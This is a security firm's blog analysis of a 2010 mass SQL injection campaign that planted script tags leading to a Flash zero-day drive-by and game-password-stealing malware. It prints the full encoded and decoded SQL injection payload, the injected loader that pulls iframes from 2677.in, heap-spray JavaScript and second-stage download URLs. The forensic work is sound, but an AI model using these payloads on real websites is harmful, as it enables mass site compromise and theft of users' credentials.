Solving the puzzle: mass SQL injection+0day flash drive-by download attacks robint.us and 2677.in

(Credits: Wayne Huang, Crane Ku, Sun Huang, and other members of Armorize)

After reading some coverages regarding the recent Adobe Flash 0day (actually not any more, patch is released), CVE-2010-1297, we couldn't help but notice that not many analysis were able to "hit the point" on this wave of robint.us and 2677.in attacks. So we've decided to provide our perspective. Summary first:

Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.

Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.

As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.

And here is the full analysis report.

[0. Background]

Quite a few commercial- and government-sponsored threat research organizations have collected samples of this particular exploit since as early as a year ago; Websense is one that publicly stated the fact. Recently:

Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.

[1. Server-side]

First the probes before the attack (thanks to Wisely and the SmartWAF team):
' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='

Nothing special here. Now let's have a look at some the actual injection (http) requests:

Sample 1:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

Sample 2:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


Since the attack targets ASP.NET applications, note the _viewstate=ddwxmzk4nt provided in the request. This is to bypass some Web application firewalls.

The above code decodes to:
dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

All in lowercase is easier to read:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--

Nothing really new here, same as the earliest mass SQL injections that took place in early 2008.

We sampled thirty infected Websites; as expected, infections are detected in SQL-injection-vulnerable ASP.NET websites.

[2. Client-side]

Below are two typical samples of this injection wave:
<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>

<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>

yahoo.js serves as the entry snippet. From there the exploitation flow is illustrated as follows:

We'll describe the exploitation process below.

1. http://2677.in/yahoo.js dynamically creates two iframes pointing to http://2677.in/cnzz.html (visitor counter service) and http://2677.in/ie.htm (flash exploit)
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}

2. http://2677.in/cnzz.html uses a free visitor counter serivce cnzz.com in order to track infections and hit count
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>

Now if we link to the counter page, we'll notice that the attacker's handle is "dnf666." Sounds familiar, right?

Yes, that's right, rings a bell--the "dnf666.net" mass sql injection incident that happened back in March. The handle is the same--dnf666.net, the sql injection strings are extremely identical, and both used cnzz as counter service.

Oh, and actually, robint.us used cnzz, too: http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
And furthermore, the dnf666.net attack involved "robints.us," yes, with an additional "s":

Also see here for additional evidences.

So, in March, dnf666 launched a similar attack, involving robint"s".us. Recently, they launched two more based on the Adobe Flash 0day (VE-2010-1297)--robint.us and 2677.in.

"6" in Mandarin is phonetically identical to the word "smooth" or "well," and so 666 is a lucky number in Chinese culture. What is DNF?

DNF stands for "Dungeon Fighter," a popular online game in the Chinese community. It's offered in Taiwan here and in China on top of the QQ platform here. dnf666.net was a platform selling (illegal) plugins to these online games. Adding these together, it's no surprise that at the end of this article, our conclusion is the purpose of both robint.us and 2677.in attacks were aimed at stealing passwords to online games.

Moving on.

3. http://2677.in/ie.html stores its heap spray code inside a DOM object
<div id=sun style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B</div>

Escaped version is easier to read:
var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;

In our flow diagram, we labeled this "trick 1." The trick defeats automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.

4. This <div id=sun> object is eval'ed by javascript inside ie.html
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));

We labeled this "trick 2" in our diagram, because it again, defeats (both the static analysis and behavior analysis modules of) scanners that do not implement the full browser and therefore do not actually have the ability to make network connections, send http request and retrieve the shellcode.

5. http://2677.in/ie.html embeds swf exploit anhey.swf for CVE-2010-1297
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

And that'll do it. Javascripts inside ie.html does the heap spraying and puts the retrieved shellcode (from log.txt) into memory, while anhey.swf triggers the exploit.

We can't help but notice the name of this flash exploit: "anhey.swf"--used both in robint.us and 2677.in.
We also remember this piece of dynamically generated code in robint.us:
var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");

Note the variable name--"cuteqq".

Well,CuteQQ and Anhey are the same Chinese company, and both domains map to the same server. The company sells drive-by download exploit kits:

And if we look at the tool's screenshot, we can see that it specifically provides a textbox for the attacker to enter the URL to his counter service (in this case, cnzz.com). It obviously supports "flash 10 0day." The middle section allows the attacker to enable various anti-detection techniques, which results in the tricks 1 and 2 we described.

Alright, moving on.

6. http://2677.in/anhey.swf exploits CVE-2010-1297 and drops downloader: http://2677.in/log.exe

7. http://2677.in/log.exe has the following behavior:

Behavior: DLL-Injection (Target: rundll32.exe) functions.

Modules
Base=10000000 Size=00003000 rundll32.exe

Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp

Retrieves: http://d.iamcome.in/u.txt, content:
222
http://d.iamcome.in/ma.exe


8. Following the instructions given inside u.txt, log.exe downloads http://d.iamcome.in/ma.exe, which has the following behavior:

Behavior: DLL-Injection (Target: explorer.exe) functions.

Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe

Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos

Steals accounts:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com

[3. Conclusion]

Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.

Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.

As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.

[4. Appendix]

1. HackAlert V3 forensics query dump
  Visited path: http://2677.in/ie.html
Source code:
======
<div id=sun style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B</div>
<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");

var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;

}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;

for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

</script>

========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>

========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========

2. Parts of anhey.swf:
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}

public dynamic class ball extends flash.display::MovieClip
{

//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;

//========================= Methods

public static function ball()
{
return;

}


public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;

}


internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;

}


internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


}
public dynamic class focusRectSkin extends flash.display::MovieClip
{

//========================= Methods

public static function focusRectSkin()
{
return;

}


public function focusRectSkin()
{
super();
return;

}


}

}

Read more (rest of article)...